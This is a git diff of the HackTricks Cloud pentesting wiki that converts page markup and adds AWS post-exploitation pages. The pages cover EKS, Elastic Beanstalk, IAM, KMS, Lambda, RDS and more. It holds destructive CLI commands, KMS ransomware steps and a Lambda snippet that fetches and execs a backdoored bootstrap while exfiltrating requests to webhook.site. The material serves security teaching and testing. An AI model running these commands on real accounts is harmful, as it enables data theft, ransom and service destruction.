ZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+      server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+    name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
 contexts:
-- context:
-    cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-    user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-  name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+  - context:
+      cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+      user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+    name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
 current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
 kind: Config
 preferences: {}
 users:
-- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-  user:
-    exec:
-      apiVersion: client.authentication.k8s.io/v1beta1
-      args:
-      - --region
-      - us-west-2
-      - --profile
-      - <profile>
-      - eks
-      - get-token
-      - --cluster-name
-      - <cluster-name>
-      command: aws
-      env: null
-      interactiveMode: IfAvailable
-      provideClusterInfo: false
+  - name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+    user:
+      exec:
+        apiVersion: client.authentication.k8s.io/v1beta1
+        args:
+          - --region
+          - us-west-2
+          - --profile
+          - <profile>
+          - eks
+          - get-token
+          - --cluster-name
+          - <cluster-name>
+        command: aws
+        env: null
+        interactiveMode: IfAvailable
+        provideClusterInfo: false
 ```
 
 </details>
@@ -97,9 +82,8 @@ The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get int
 
 The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**.
 
-{% hint style="warning" %}
-Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
-{% endhint %}
+> [!WARNING]
+> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
 
 For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
 
@@ -119,8 +103,8 @@ https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
 
 Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one:
 
-* gr7
-* yl4
+- gr7
+- yl4
 
 Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list
 
@@ -146,9 +130,8 @@ Then with wfuzz
 wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
 ```
 
-{% hint style="warning" %}
-Remember to replace & .
-{% endhint %}
+> [!WARNING]
+> Remember to replace & .
 
 ### Bypass CloudTrail
 
@@ -164,23 +147,9 @@ By default the **user or role that created** a cluster is **ALWAYS going to have
 
 So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
 
-{% hint style="success" %}
-Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster.
+> [!TIP]
+> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster.
+>
+> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node.
 
-Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node.
-{% endhint %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
new file mode 100644
index 000000000..59b9fd453
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -0,0 +1,80 @@
+# AWS - Elastic Beanstalk Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+For more information:
+
+{{#ref}}
+../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: Test if more permissions are required for this
+
+An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up.
+
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+
+**Potential Impact**: Disruption of application deployment and potential loss of application versions.
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: Test if more permissions are required for this
+
+An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups.
+
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+
+**Potential Impact**: Downtime of the application, potential data loss, and disruption of services.
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: Test if more permissions are required for this
+
+An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up.
+
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+
+**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss.
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: Test if more permissions are required for this
+
+An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior.
+
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+
+**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments.
+
+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: Test if more permissions are required for this
+
+An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management.
+
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+
+**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
new file mode 100644
index 000000000..f364899bb
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -0,0 +1,103 @@
+# AWS - IAM Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## IAM
+
+For more information about IAM access:
+
+{{#ref}}
+../aws-services/aws-iam-enum.md
+{{#endref}}
+
+## Confused Deputy Problem
+
+If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
+
+Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
+
+<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
+
+However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
+
+Example:
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": {
+    "Effect": "Allow",
+    "Principal": {
+      "AWS": "Example Corp's AWS Account ID"
+    },
+    "Action": "sts:AssumeRole",
+    "Condition": {
+      "StringEquals": {
+        "sts:ExternalId": "12345"
+      }
+    }
+  }
+}
+```
+
+> [!WARNING]
+> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts.
+
+### Unexpected Trusts
+
+#### Wildcard as principal
+
+```json
+{
+  "Action": "sts:AssumeRole",
+  "Effect": "Allow",
+  "Principal": { "AWS": "*" }
+}
+```
+
+This policy **allows all AWS** to assume the role.
+
+#### Service as principal
+
+```json
+{
+  "Action": "lambda:InvokeFunction",
+  "Effect": "Allow",
+  "Principal": { "Service": "apigateway.amazonaws.com" },
+  "Resource": "arn:aws:lambda:000000000000:function:foo"
+}
+```
+
+This policy **allows any account** to configure their apigateway to call this Lambda.
+
+#### S3 as principal
+
+```json
+"Condition": {
+"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
+    "StringEquals": {
+        "aws:SourceAccount": "123456789012"
+    }
+}
+```
+
+If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this.
+
+#### Not supported
+
+```json
+{
+  "Effect": "Allow",
+  "Principal": { "Service": "cloudtrail.amazonaws.com" },
+  "Action": "s3:PutObject",
+  "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
+}
+```
+
+A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
+
+## References
+
+- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
new file mode 100644
index 000000000..e03c8a315
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -0,0 +1,133 @@
+# AWS - KMS Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## KMS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Encrypt/Decrypt information
+
+`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
+
+- `fileb://:` Reads the file in binary mode, commonly used for non-text files.
+- `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements.
+
+> [!TIP]
+> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)
+
+- Using a **symmetric** key
+
+```bash
+# Encrypt data
+aws kms encrypt \
+    --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+    --plaintext fileb:///tmp/hello.txt \
+    --output text \
+    --query CiphertextBlob | base64 \
+    --decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+    --ciphertext-blob fileb://ExampleEncryptedFile \
+    --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+    --output text \
+    --query Plaintext | base64 \
+    --decode
+```
+
+- Using a **asymmetric** key:
+
+```bash
+# Encrypt data
+aws kms encrypt \
+    --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+    --encryption-algorithm RSAES_OAEP_SHA_256 \
+    --plaintext fileb:///tmp/hello.txt \
+    --output text \
+    --query CiphertextBlob | base64 \
+    --decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+    --ciphertext-blob fileb://ExampleEncryptedFile \
+    --encryption-algorithm RSAES_OAEP_SHA_256 \
+    --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+    --output text \
+    --query Plaintext | base64 \
+    --decode
+```
+
+### KMS Ransomware
+
+An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account.
+
+Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account.
+
+> [!WARNING]
+> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**.
+
+> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI).
+
+```bash
+# Force policy change
+aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
+    --policy-name default \
+    --policy file:///tmp/policy.yaml \
+    --bypass-policy-lockout-safety-check
+
+{
+    "Id": "key-consolepolicy-3",
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Sid": "Enable IAM User Permissions",
+            "Effect": "Allow",
+            "Principal": {
+                "AWS": "arn:aws:iam::<your_own_account>:root"
+            },
+            "Action": "kms:*",
+            "Resource": "*"
+        }
+    ]
+}
+```
+
+> [!CAUTION]
+> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**.
+
+<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
+
+### Generic KMS Ransomware
+
+#### Global KMS Ransomware
+
+There is another way to perform a global KMS Ransomware, which would involve the following steps:
+
+- Create a new **key with a key material** imported by the attacker
+- **Re-encrypt older data** encrypted with the previous version with the new one.
+- **Delete the KMS key**
+- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
+
+### Destroy keys
+
+```bash
+# Destoy they key material previously imported making the key useless
+aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
+
+# Schedule the destoy of a key (min wait time is 7 days)
+aws kms schedule-key-deletion \
+    --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+    --pending-window-in-days 7
+```
+
+> [!CAUTION]
+> Note that AWS now **prevents the previous actions from being performed from a cross account:**
+
+<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
new file mode 100644
index 000000000..86bc91b90
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -0,0 +1,29 @@
+# AWS - Lambda Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lambda
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-lambda-enum.md
+{{#endref}}
+
+### Steal Others Lambda URL Requests
+
+If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
+
+{{#ref}}
+aws-warm-lambda-persistence.md
+{{#endref}}
+
+### Steal Others Lambda URL Requests & Extensions Requests
+
+Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+
+{{#ref}}
+../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
new file mode 100644
index 000000000..1aa0d0334
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -0,0 +1,63 @@
+# AWS - Steal Lambda Requests
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lambda Flow
+
+<figure><img src="../../../../images/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
+
+1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
+2. The init process listens on port **9001** exposing some interesting endpoints:
+   - **`/2018-06-01/runtime/invocation/next`** – get the next invocation event
+   - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke
+   - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error
+3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
+4. Finally, **bootstrap.py** sends to init the **response**
+
+Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.
+
+## Stealing Lambda Requests
+
+The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.
+
+This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:
+
+- **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
+  - A request must be sent to **`/${invoke-id}/response`**
+  - The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
+- Execute a malicious **`boostrap.py`** which will handle the next invocations
+  - For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
+  - For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.
+
+### Attack Steps
+
+1. Find a **RCE** vulnerability.
+2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
+3. **Execute** the malicious bootstrap.
+
+You can easily perform these actions running:
+
+```bash
+python3 <<EOF
+import os
+import urllib3
+
+# Download backdoored bootstrap
+http = urllib3.PoolManager()
+backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
+new_runtime = http.request('GET', backdoored_bootstrap_url).data
+
+# Load new bootstrap
+os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
+
+exec(new_runtime)
+EOF
+```
+
+For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
+
+## References
+
+- [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
new file mode 100644
index 000000000..7bd2b206b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+For more information, check:
+
+{{#ref}}
+../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Restore old DB snapshots
+
+If the DB is having snapshots, you might be able to **find sensitive information currently deleted in old snapshots**. **Restore** the snapshot in a **new database** and check it.
+
+### Restore Instance Snapshots
+
+Instance snapshots might contain **sensitive information** of already deleted instances or sensitive info that is deleted in the current instance. **Create new instances from the snapshots** and check them.\
+Or **export the snapshot to an AMI in EC2** and follow the steps of a typical EC2 instance.
+
+### Access Sensitive Information
+
+Check out the Lightsail privesc options to learn different ways to access potential sensitive information:
+
+{{#ref}}
+../aws-privilege-escalation/aws-lightsail-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
new file mode 100644
index 000000000..88fdbd9b1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
@@ -0,0 +1,19 @@
+# AWS - Organizations Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+For more info about AWS Organizations check:
+
+{{#ref}}
+../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+### Leave the Org
+
+```bash
+aws organizations deregister-account --account-id <account_id> --region <region>
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
similarity index 55%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 1e45f292d..dd6517e80 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -1,27 +1,14 @@
 # AWS - RDS Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## RDS
 
 For more information check:
 
-{% content-ref url="../aws-services/aws-relational-database-rds-enum.md" %}
-[aws-relational-database-rds-enum.md](../aws-services/aws-relational-database-rds-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-relational-database-rds-enum.md
+{{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
@@ -59,7 +46,6 @@ An attacker with these permissions could **create an snapshot of a DB** and make
 
 If the attacker **doesn't have the `rds:CreateDBSnapshot`**, he still could make **other** created snapshots **public**.
 
-{% code overflow="wrap" %}
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -68,17 +54,14 @@ aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --d
 aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
 ## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
 ```
-{% endcode %}
 
 ### `rds:DownloadDBLogFilePortion`
 
 An attacker with the `rds:DownloadDBLogFilePortion` permission can **download portions of an RDS instance's log files**. If sensitive data or access credentials are accidentally logged, the attacker could potentially use this information to escalate their privileges or perform unauthorized actions.
 
-{% code overflow="wrap" %}
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-{% endcode %}
 
 **Potential Impact**: Access to sensitive information or unauthorized actions using leaked credentials.
 
@@ -86,42 +69,24 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
 
 An attacker with these permissions can **DoS existing RDS instances**.
 
-{% code overflow="wrap" %}
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-{% endcode %}
 
 **Potential impact**: Deletion of existing RDS instances, and potential loss of data.
 
 ### `rds:StartExportTask`
 
-{% hint style="info" %}
-TODO: Test
-{% endhint %}
+> [!NOTE]
+> TODO: Test
 
 An attacker with this permission can **export an RDS instance snapshot to an S3 bucket**. If the attacker has control over the destination S3 bucket, they can potentially access sensitive data within the exported snapshot.
 
-{% code overflow="wrap" %}
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-{% endcode %}
 
 **Potential impact**: Access to sensitive data in the exported snapshot.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
similarity index 51%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index ba908badb..803b6a14d 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -1,27 +1,14 @@
 # AWS - S3 Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
